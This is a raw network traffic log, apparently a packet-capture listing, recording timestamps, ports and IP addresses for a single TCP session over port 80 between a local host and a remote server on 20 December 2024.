Dec 20, 2024 16:06:56.324314117 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:56.324556112 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:56.324603081 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:56.325786114 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:56.325803041 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:56.325846910 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:56.325865030 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:56.327353001 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:56.327418089 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:56.328037977 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:56.328052044 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:56.328063965 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:56.328098059 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:56.328144073 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:56.328577042 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:56.328628063 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:56.329102039 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:56.329152107 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:56.329622984 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:56.329669952 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:56.329957962 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:56.330007076 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:56.330507994 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:56.330559969 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:56.330581903 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:56.330629110 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:56.331660032 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:56.331736088 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:56.332282066 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:56.332341909 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:56.332705975 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:56.332766056 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:56.333329916 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:56.333378077 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:56.333779097 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:56.333827019 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:56.334019899 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:56.334064007 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:56.334948063 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:56.335001945 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:56.335360050 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:56.335407019 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:56.336175919 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:56.336189032 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:56.336232901 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:56.337137938 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:56.337193966 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:56.337376118 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:56.337426901 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:56.338294983 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:56.338346958 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:56.338850021 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:56.338906050 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:56.339622021 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:56.339633942 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:56.339677095 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:56.340718985 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:56.340776920 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:56.341680050 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:56.341694117 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:56.341773987 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:56.341784954 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:56.341830015 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:56.342856884 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:56.342926979 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:56.343178034 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:56.343234062 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:56.343935966 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:56.344008923 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:56.344013929 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:56.344060898 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:56.421221018 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:56.421338081 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:56.421628952 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:56.421643019 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:56.421679020 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:56.421706915 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:56.422055960 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:56.422105074 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:56.422775984 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:56.422789097 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:56.422827005 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:56.422844887 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:56.424016953 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:56.424031019 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:56.424560070 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:56.424648046 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:56.424691916 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:56.426537991 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:56.426553011 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:56.426564932 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:56.426593065 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:56.426639080 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:56.426678896 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:56.427356005 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:56.427402973 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:56.428095102 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:56.428107977 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:56.428138971 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:56.428159952 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:56.428766012 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:56.428808928 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:56.430351973 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:56.430365086 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:56.430376053 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:56.430387974 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:56.430398941 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:56.430419922 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:56.430447102 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:56.432260990 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:56.432274103 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:56.432286024 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:56.432296991 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:56.432312012 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:56.432333946 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:56.432770967 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:56.432845116 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:56.433480978 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:56.433522940 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:56.435368061 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:56.435379982 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:56.435386896 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:56.435446024 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:56.436680079 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:56.436691999 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:56.436702967 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:56.436727047 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:56.436753988 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:56.438123941 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:56.438136101 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:56.438148022 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:56.438159943 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:56.438169003 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:56.438198090 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:56.439373970 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:56.439385891 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:56.439416885 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:56.439429045 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:56.440388918 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:56.440401077 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:56.440411091 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:56.440447092 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:56.440474987 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:56.441011906 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:56.441056013 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:56.552150011 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:56.672027111 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:56.992100954 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:56.992290020 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:56.992434978 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:56.992445946 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:56.992522001 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:56.992697001 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:56.992743969 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:56.993494987 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:56.993508101 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:56.993560076 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:56.993573904 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:56.994272947 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:56.994313002 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:56.994545937 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:56.994585991 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:56.995358944 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:56.995372057 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:56.995413065 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:56.995435953 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:56.996099949 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:56.996156931 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:56.996270895 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:56.996325970 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:56.997471094 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:56.997483969 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:56.997554064 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:56.997579098 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:56.998218060 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:56.998229980 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:56.998275995 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:56.999181986 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:56.999195099 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:56.999236107 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.000003099 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.000058889 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.000196934 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.000250101 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.000865936 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.000920057 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.001460075 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.001511097 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.001941919 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.001991987 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.002374887 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.002430916 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.003014088 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.003093958 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.003133059 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.003186941 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.004089117 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.004101038 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.004146099 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.004770994 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.004820108 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.005131006 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.005274057 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.005903006 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.005954981 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.006206989 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.006263018 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.006884098 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.006933928 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.007061958 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.007107019 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.007934093 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.007953882 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.007985115 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.008016109 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.008953094 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.009005070 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.009169102 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.009217978 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.010025978 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.010037899 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.010077000 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.011092901 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.011149883 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.011348009 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.011395931 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.011976957 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.012034893 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.012247086 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.012290955 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.013302088 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.013314962 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.013377905 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.013402939 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.014364958 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.014413118 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.014473915 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.014811993 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.015224934 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.015270948 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.016602993 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.016616106 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.016629934 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.016653061 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.016681910 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.019125938 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.019139051 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.019172907 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.020678997 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.020690918 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.020703077 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.020740032 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.020755053 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.020787001 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.020797968 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.020808935 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.020819902 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.020831108 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.020859003 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.021044970 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.021087885 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.021919012 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.021970987 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.022109985 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.022157907 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.023228884 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.023272991 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.023298025 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.023323059 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.023360014 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.023371935 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.023425102 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.023438931 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.024581909 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.024629116 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.025063038 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.025151014 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.025413990 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.025461912 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.025528908 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.025580883 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.026962042 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.026973963 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.027020931 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.027224064 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.027276993 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.027929068 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.027980089 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.028192997 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.028203964 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.028249979 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.029649019 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.029661894 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.029717922 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.030247927 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.030296087 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.031158924 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.031171083 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.031223059 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.031806946 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.031860113 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.032012939 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.032023907 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.032062054 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.032074928 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.033010960 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.033060074 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.033647060 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.033698082 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.034171104 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.034183025 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.034215927 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.034239054 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.035304070 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.035355091 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.036004066 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.036051035 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.116800070 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.116868973 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.116923094 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.116972923 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.117338896 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.117352962 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.117393017 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.118180037 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.118233919 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.118525982 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.118582010 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.119539022 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.119596004 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.119745016 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.119807005 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.120050907 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.120100021 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.120141029 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.120188951 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.121270895 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.121320963 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.121506929 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.121558905 CET	49769	80	192.168.2.5	185.215.113.206
